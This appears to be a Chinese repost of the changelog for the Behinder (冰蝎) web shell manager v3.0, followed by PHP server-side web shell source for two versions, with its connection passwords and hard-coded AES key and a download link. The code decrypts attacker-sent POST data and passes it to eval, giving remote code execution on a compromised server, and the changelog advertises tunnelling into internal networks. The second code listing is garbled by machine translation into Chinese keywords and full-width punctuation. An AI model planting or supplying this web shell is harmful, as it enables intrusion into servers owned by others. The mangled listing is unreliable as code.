###2020.8.17 v3.0 Beta 2 更新日志
1.新增了jspx、asp版本服务端，修复了aspx服务端；
2.新增双击打开功能；
3.修复了路径中有中文导致“找不到数据文件”的问题；
4.修复了文件管理UI重叠问题；
5.“设置代理”新增Socks代理连接功能；
###2020.8.16 v3.0 Beta 1 更新日志
1.去除动态密钥协商机制，采用预共享密钥，全程无明文交互，密钥格式为md5(“admin”)[0:16]；
2.增加了插件机制，可开发安装自定义扩展插件；
3.UI框架由awt改为javafx，重写了大量逻辑；
4.增强了内网穿透功能，在原有的基于HTTP的socks5隧道基础上，增加了单端口转发功能，可一键将内网端口映射至VPS或者本机端口；
这次更新比计划提前了一个月左右，略有仓促，几个核心功能还没有完工，所以这段时间可能会密集更新：）
冰蝎Behinder phpshell源代码（仅供研究使用切勿用于非法用途）
密*码：pass
<?php
@error_reporting(0);
session_start();
if (isset($_GET[‘pass’]))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION[‘k’]=$key;
print $key;
}
else
{
$key=$_SESSION[‘k’];
$post=file_get_contents(“php://input”);
if(!extension_loaded(‘openssl’))
{
$t=”base64_”.”decode”;
$post=$t($post.””);
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, “AES128”, $key);
}
$arr=explode(‘|’,$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p.””);}}
@new C($params);
}
?>
冰蝎Behinder_v3.0 Beta 2 phpshell源代码
<?php
@error_reporting(0);
session_start();
if ($_SERVER[‘REQUEST_METHOD’] === ‘POST’)
{
$key=”e45e329feb5d925b”;
$_SESSION[‘k’]=$key;
$post=file_get_contents(“php://input”);
if(!extension_loaded(‘openssl’))
{
$t=”base64_”.”decode”;
$post=$t($post.””);
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, “AES128”, $key);
}
$arr=explode(‘|’,$post);
$func=$arr[0];
$params=$arr[1];
C类{公共函数__invoke（$ p）{eval（$ p。“”）;}}
@call_user_func（new C（），$ params）;
}
？>
复制代码密*码:rebeyond md5解密 （e45e329feb5d925b）
上冰蝎Behinder_v3.0 Beta 2连接
下载地址仅供研究使用：https://github.com/rebeyond/Behinder/releases
相关文章:http://www.ddoslinux.com/?cat=5
